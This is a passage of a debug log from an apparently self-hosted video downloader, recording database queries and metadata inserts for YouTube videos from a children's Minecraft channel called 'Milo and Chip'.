s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:49.823 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:49.824 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [135544] 19:41:49.824 [debug] Current batch of media processed. Will check again in 1000ms 19:41:50.825 [debug] Current batch of media processed. Will check again in 1000ms 19:41:51.826 [debug] Current batch of media processed. Will check again in 1000ms 19:41:52.827 [debug] Current batch of media processed. Will check again in 1000ms 19:41:53.828 [debug] Current batch of media processed. Will check again in 1000ms 19:41:54.830 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I Built the ULTIMATE Secret Birthday Party! 🎂 🎁 Can we pull off the biggest surprise ever without Milo finding his hidden gifts too early?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1543, "filename" => "/downloads/rory/Milo and Chip/2026-05-08 Surprising Milo with DREAM Birthday in Minecraft/Surprising Milo with DREAM Birthday in Minecraft [2K_f7PL9mbs].mp4", "id" => "2K_f7PL9mbs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2K_f7PL9mbs", "playlist_index" => 14, "timestamp" => 1778281202, "title" => "Surprising Milo with DREAM Birthday in Minecraft", "upload_date" => "20260508"} 19:41:54.831 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=1131.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:54.833 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1132.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:54.837 [debug] QUERY OK source="media_items" db=3.8ms queue=0.1ms idle=1134.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-08 23:00:02Z], 30] 19:41:54.841 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=1122.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Built the ULTIMATE Secret Birthday Party! 🎂 🎁 Can we pull off the biggest surprise ever without Milo finding his hidden gifts too early?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Surprising Milo with DREAM Birthday in Minecraft", "15a7b9d3-925b-40c7-befc-5c2c98e325a3", "2K_f7PL9mbs", false, "https://www.youtube.com/watch?v=2K_f7PL9mbs", 30, [], 1543, false, 14, "/downloads/rory/Milo and Chip/2026-05-08 Surprising Milo with DREAM Birthday in Minecraft/Surprising Milo with DREAM Birthday in Minecraft [2K_f7PL9mbs].mp4", false, false, 98, ~U[2026-05-08 23:00:02Z], ~U[2026-06-03 23:41:54Z], ~U[2026-06-03 23:41:54Z], "I Built the ULTIMATE Secret Birthday Party! 🎂 🎁 Can we pull off the biggest surprise ever without Milo finding his hidden gifts too early?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Surprising Milo with DREAM Birthday in Minecraft", "2K_f7PL9mbs", "https://www.youtube.com/watch?v=2K_f7PL9mbs", 30, 1543, false, "/downloads/rory/Milo and Chip/2026-05-08 Surprising Milo with DREAM Birthday in Minecraft/Surprising Milo with DREAM Birthday in Minecraft [2K_f7PL9mbs].mp4", false, ~U[2026-05-08 23:00:02Z]] 19:41:54.842 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=123.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:54.844 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.2ms idle=11.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:54.845 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=11.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [135272] 19:41:54.845 [debug] Current batch of media processed. Will check again in 1000ms 19:41:55.846 [debug] Current batch of media processed. Will check again in 1000ms 19:41:56.847 [debug] Current batch of media processed. Will check again in 1000ms 19:41:57.848 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Building a FULLY FUNCTIONAL Underground Metro! 🚇 🏗️ Can we design the ultimate working subway system with secret hidden tracks?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1124, "filename" => "/downloads/rory/Milo and Chip/2026-05-06 How to Build a Working Subway Station in Minecraft/How to Build a Working Subway Station in Minecraft [USKZb_Xfhfk].mp4", "id" => "USKZb_Xfhfk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=USKZb_Xfhfk", "playlist_index" => 15, "timestamp" => 1778108429, "title" => "How to Build a Working Subway Station in Minecraft", "upload_date" => "20260506"} 19:41:57.849 [debug] QUERY OK source="sources" db=0.4ms idle=1149.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:57.850 [debug] QUERY OK source="sources" db=0.3ms idle=1150.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:57.852 [debug] QUERY OK source="media_items" db=2.2ms idle=1151.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-06 23:00:29Z], 30] 19:41:57.855 [debug] QUERY OK source="media_items" db=1.5ms idle=1133.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Building a FULLY FUNCTIONAL Underground Metro! 🚇 🏗️ Can we design the ultimate working subway system with secret hidden tracks?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a Working Subway Station in Minecraft", "7ab77950-7c64-4603-aff7-c0d726d21079", "USKZb_Xfhfk", false, "https://www.youtube.com/watch?v=USKZb_Xfhfk", 30, [], 1124, false, 15, "/downloads/rory/Milo and Chip/2026-05-06 How to Build a Working Subway Station in Minecraft/How to Build a Working Subway Station in Minecraft [USKZb_Xfhfk].mp4", false, false, 98, ~U[2026-05-06 23:00:29Z], ~U[2026-06-03 23:41:57Z], ~U[2026-06-03 23:41:57Z], "Building a FULLY FUNCTIONAL Underground Metro! 🚇 🏗️ Can we design the ultimate working subway system with secret hidden tracks?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a Working Subway Station in Minecraft", "USKZb_Xfhfk", "https://www.youtube.com/watch?v=USKZb_Xfhfk", 30, 1124, false, "/downloads/rory/Milo and Chip/2026-05-06 How to Build a Working Subway Station in Minecraft/How to Build a Working Subway Station in Minecraft [USKZb_Xfhfk].mp4", false, ~U[2026-05-06 23:00:29Z]] 19:41:57.856 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=133.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:57.856 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:57.857 [debug] QUERY OK source="media_items" db=0.4ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [134729] 19:41:57.857 [debug] Current batch of media processed. Will check again in 1000ms 19:41:58.858 [debug] Current batch of media processed. Will check again in 1000ms 19:41:59.859 [debug] Current batch of media processed. Will check again in 1000ms 19:42:00.125 [info] {"source":"oban","duration":137,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:42:00.860 [debug] Current batch of media processed. Will check again in 1000ms 19:42:01.861 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "SURVIVING in Space After Being Kicked Off Earth! 🚀 🌎 Can we build a secret moon base and find a way back home before our oxygen runs out?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1287, "filename" => "/downloads/rory/Milo and Chip/2026-05-04 We Kicked Out of the Planet!/We Kicked Out of the Planet! [8ybvWyXgHek].mp4", "id" => "8ybvWyXgHek", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8ybvWyXgHek", "playlist_index" => 16, "timestamp" => 1777935609, "title" => "We Kicked Out of the Planet!", "upload_date" => "20260504"} 19:42:01.862 [debug] QUERY OK source="sources" db=0.2ms idle=162.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:42:01.862 [debug] QUERY OK source="sources" db=0.1ms idle=162.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:01.864 [debug] QUERY OK source="media_items" db=1.2ms idle=163.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-04 23:00:09Z], 30] 19:42:01.865 [debug] QUERY OK source="media_items" db=0.9ms idle=164.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SURVIVING in Space After Being Kicked Off Earth! 🚀 🌎 Can we build a secret moon base and find a way back home before our oxygen runs out?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "We Kicked Out of the Planet!", "867767fd-6766-4dfd-85ff-dddcef0459b2", "8ybvWyXgHek", false, "https://www.youtube.com/watch?v=8ybvWyXgHek", 30, [], 1287, false, 16, "/downloads/rory/Milo and Chip/2026-05-04 We Kicked Out of the Planet!/We Kicked Out of the Planet! [8ybvWyXgHek].mp4", false, false, 98, ~U[2026-05-04 23:00:09Z], ~U[2026-06-03 23:42:01Z], ~U[2026-06-03 23:42:01Z], "SURVIVING in Space After Being Kicked Off Earth! 🚀 🌎 Can we build a secret moon base and find a way back home before our oxygen runs out?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "We Kicked Out of the Planet!", "8ybvWyXgHek", "https://www.youtube.com/watch?v=8ybvWyXgHek", 30, 1287, false, "/downloads/rory/Milo and Chip/2026-05-04 We Kicked Out of the Planet!/We Kicked Out of the Planet! [8ybvWyXgHek].mp4", false, ~U[2026-05-04 23:00:09Z]] 19:42:01.866 [debug] QUERY OK source="sources" db=0.2ms idle=139.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:01.866 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:01.866 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [134189] 19:42:01.867 [debug] Current batch of media processed. Will check again in 1000ms 19:42:02.849 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:02.867 [debug] Current batch of media processed. Will check again in 1000ms 19:42:03.868 [debug] Current batch of media processed. Will check again in 1000ms 19:42:04.870 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "REVEALING Milo’s Secret True Identity! 🎭 😱 Will we find out who is really behind the mask, or is it a trap we weren't prepared for?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1120, "filename" => "/downloads/rory/Milo and Chip/2026-05-02 Who’s Hiding Behind Milo’s Mask in Minecraft?/Who’s Hiding Behind Milo’s Mask in Minecraft? [77bY5u7lOGs].mp4", "id" => "77bY5u7lOGs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=77bY5u7lOGs", "playlist_index" => 17, "timestamp" => 1777762807, "title" => "Who’s Hiding Behind Milo’s Mask in Minecraft?", "upload_date" => "20260502"} 19:42:04.871 [debug] QUERY OK source="sources" db=0.9ms idle=1171.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:42:04.873 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1172.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:04.875 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=1144.6ms SELECT 